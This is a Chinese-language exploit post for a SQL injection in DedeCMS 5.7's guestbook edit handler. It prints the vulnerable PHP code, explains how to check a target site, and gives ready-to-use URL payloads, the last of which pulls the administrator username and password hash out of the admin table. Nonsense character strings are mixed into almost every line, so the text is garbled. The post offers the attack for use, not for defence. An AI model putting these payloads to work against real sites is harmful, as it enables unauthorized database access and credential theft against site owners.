影响版本为5.79 r; D4 q Z6 S! h: Z
+ H' U- J0 J; Q' I$ b$ `漏洞文件edit.inc.php具体代码:
: r4 {: `/ @& H
* T5 j4 E1 [3 _# s& z) O c- }< ?php / L' b: {$ |( J! g3 Z; A
\! _+ P* e- r
if(!defined('DEDEINC')) exit('Request Error!'); 2 @; D/ [, C4 D9 K3 |1 w. a
, s! g2 t( y, G+ \$ y! h
} R! _9 ?9 x+ t5 V6 u; J8 t8 Z+ L- ]
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
( s3 g% B3 j! }' t
1 K; b+ h: v' c& ~* qelse $GUEST_BOOK_POS = "guestbook.php";
) g$ V( x; w! v7 F
}- m% Q9 }5 Y5 { H- F6 \" n
8 A: \4 M) r9 ^5 d! { E
7 z7 l9 n1 I5 V( R/ c5 m$id = intval($id); ) s9 W8 ~9 ^1 `) r3 a
* t( x7 M, E$ Y5 V( Y
if(empty($job)) $job='view'; : U9 e7 h2 t2 J
: J7 ^$ n4 Q+ ]& @, U/ i% m9 a
" I- w7 X* Z h$ x7 d2 x) b N0 I' c4 E3 d! d7 ~* K' d
if($job=='del' && $g_isadmin)
5 B, O2 R3 I& L2 G
" q' E$ c# o( r7 _$ D! t# Z{ 2 J! y$ u; ], X+ c7 [4 d
7 i$ }4 N R# i/ b4 j. b
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); : I/ W T+ w* L: U
M8 q; ~5 Y. s0 {
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
3 }2 b0 D, f, {( ]6 ?, a5 s4 _! c' ^& [, O/ V" ^/ ]
exit();
1 _# f, y$ Y, i7 `9 B" q/ z# A8 G* f4 j; J" j% C1 h
} : E9 y8 o, P; G) B& M1 S8 Q
5 D: v- M/ \( Q! h6 u! A
else if($job=='check' && $g_isadmin)
. {( M1 T% c P% R0 V1 T ~ a/ F. m: H4 G
{ 1 F$ G9 j! w' ]: y5 t- i
! n0 x m% @) ?) o$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
; M, P, X" b: w$ G2 E( w% z
" |5 h" e# M1 I# k1 y5 Y% R4 EShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
$ i7 y7 S0 P1 W5 g- P$ g z$ F* c6 g, m) w1 l# r9 P
exit();
: {' n3 e5 c2 w& C( [3 `* H3 Z" x( S
7 x, ^( D8 \0 e} / p" r+ i' Q2 D; g
& F& F4 J% z& w6 }
else if($job=='editok')
, X, W6 V* E% ^! R& v! m$ o! _! B% \" Z9 f1 _" |# @& r9 o
{
- O1 g0 ~) y* n- v% g$ G% U
& [, x: |1 |) S2 V$remsg = trim($remsg); - U3 ?: Z) k+ _' _9 k9 f
4 Q$ t6 ]7 D& t7 ], _3 ` i1 Jif($remsg!='') 3 S" @6 f% }; `+ T$ a& Y# B
2 a z0 t( P4 I
{ 1 B5 V( V( m b
: K E& n" b* {0 S; v//管理员回复不过滤HTML By:Errorera blog:errs.cc
" w( w0 u; D1 k3 [# J& d+ N/ a9 ]7 @: w) W
if($g_isadmin) $ k; @! R, S& U) ~" c. S2 C, i
, w+ |+ I! e2 Q" \6 W
{ / F* x6 F1 v" L
6 {1 r. G m# w- G- r0 u
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; ) a7 {5 \) \$ ]* I" E
# Y9 A8 j Z& W
//$remsg <br /><font color=red>管理员回复:</font> } : \. }# Y6 m4 g4 c: P% Q
6 `3 I% L, [3 A0 [, ~2 Selse # f# S# I. K; K, e
# X! i& g: n [5 u7 w
{
5 p: x* t1 O5 Q6 P
9 I# @1 @' u# l( _0 y$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
, X4 E4 E% T* d- N; F1 v( f
# n' X, F8 h2 ^* j7 K$ H$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
9 m; Z: E* M( b" g: O# b/ ~
` o" Y8 S- u- F% n7 t$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 1 d, u4 \& v2 N) s
: J# u1 i5 G/ H8 o$ I& Q
$msg = $oldmsg.$remsg; # _# \, H( `( G# Y1 [# b; ~( D
! i' |4 [, ?, X& W9 f- c2 Y
}
; d& ?9 a( ]: w, b7 m
: r6 c! N9 E8 t0 h6 q} $ Y) D$ e8 q- A2 I
) V6 `4 c# P; Y
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
1 L3 w0 T3 @/ T8 }
; x+ A/ ^" Z1 `5 F4 z R) |# m7 j+ b$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
1 T) {1 j! I+ h3 e+ o* y9 }3 q
1 o; [- e: W% f/ V, ?1 w" ?0 LShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
! N& Z% I& N8 h+ F4 }0 `9 `# F5 y7 a( E% ]
exit();
( F* h% H3 A; U, b' L
8 Q3 Y7 ~/ R, i1 f7 \}
C9 F5 {: F+ a; A7 L* G F0 q" o7 e2 h0 M y% z
//home:www.errs.cc $ i- a+ e; U* ?% m7 d! @* J7 A' G
% U0 H! j& Y) R. w. ]; t, i
if($g_isadmin)
+ K# m% r |/ R; p* g. Q" O, p* G5 W" e* t) ?3 T* q
{ 3 J; g8 i1 G! X3 a
+ _( q! Z! T. [! f B# K$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); + q) u7 i$ l% [
e2 J+ c) j! d8 }4 t8 H- w
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); # l9 u7 t4 a' D) b, @& u
. t/ [* e) _9 E1 x7 [. C: \
}
2 O% ^1 y4 \, _
! z$ _% @: \' P& k v+ M& Nelse
) e E' S4 C( F3 G& S/ A+ x
9 j. k. n; b' R5 D{
T" o# a# [+ b' o8 q* y% Z
: M+ ~" s; ~' i: ?& H- U& I$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
+ c: C5 Y+ _: r) Y# |
8 W5 M6 I; _, K* c9 s; Q( x$ I$ [, e" urequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); / \8 O1 p! ~- r. k8 |0 B# p. k
# y& k4 n1 F( z, D' c# Y& T} 漏洞成功需要条件:
1 P9 Z0 f! V7 J7 d9 _/ u# X, Y1. php magic_quotes_gpc=off
8 x: s! h; J3 A; s2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
# T# \0 o2 {& C- v7 J/ ` }7 J, F; P; d' Q! G5 Y: w. c( o
怎么判断是否存在漏洞:* {- }1 @ U2 i+ w# }
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
4 Z9 d% ^2 R/ N, z/ {" W# O然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID0 U5 d$ F$ y0 u+ ^6 j
访问:
) Y. N+ c$ }% ~) X3 k% ]8 _% ]- c% f
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
( o# {# y9 }& M! O% Z0 Q+ ~- t跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
' U& B+ N; S R; J' R. l2 f0 m8 h0 Z, y8 D
5 y) C, b- T( Y$ c/ M明漏洞无法利用应为他开启了 php magic_quotes_gpc=off/ x+ Q) r$ |% K7 C/ }: V0 J' ?
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
( x e6 {! ]$ P4 E C那么再次访问9 L5 |1 F; f# j- T: d4 I( A* m
! v5 @9 T! `$ O+ G
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().2 s" m1 V* Y1 }- ]
% t9 ^( @ b. F* c" W# h( U3 q
大概利用就是这样,大家有兴趣的多研究下!!# y, N" C* {! H" N3 m
: V" S2 q: \+ Y8 b5 R/ ~- b最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!: @0 }, F. h8 a4 ]+ @$ |
0 l( z; c. @" T7 Iview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |